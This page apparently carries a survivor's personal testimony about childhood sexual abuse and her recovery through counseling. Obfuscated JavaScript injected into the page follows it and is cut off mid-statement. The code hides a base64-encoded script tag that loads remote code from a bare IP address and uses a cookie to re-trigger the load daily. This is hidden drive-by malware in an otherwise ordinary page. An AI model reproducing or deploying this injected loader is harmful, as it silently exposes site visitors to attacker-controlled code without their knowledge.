053 – Lisa L

I was sexually abused by a long-time family friend at the age of 13. Even though my parents knew, this became the secret I carried around. It was never discussed; I thought that meant it was too horrific to bring up. I stuffed it deep inside of me and went on with life as best as I could. My life fell apart in 2007, bringing to the forefront the abuse I never acknowledged. I spent the next 6 months in counseling, hoping that talking to someone would help. I tricked myself into believing it did and quit. My life then fell apart again, about two weeks before my 25th birthday. I found a new counselor trained in sexual abuse recovery, recommited to counseling and have been doing the hardest work of my life in the last year to confront just how much this abuse affected me; physically, emotionally, mentally and spiritually. It has been the most painful yet rewarding year of my life. http://dysfunctionaldaze.blogspot.com/ ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘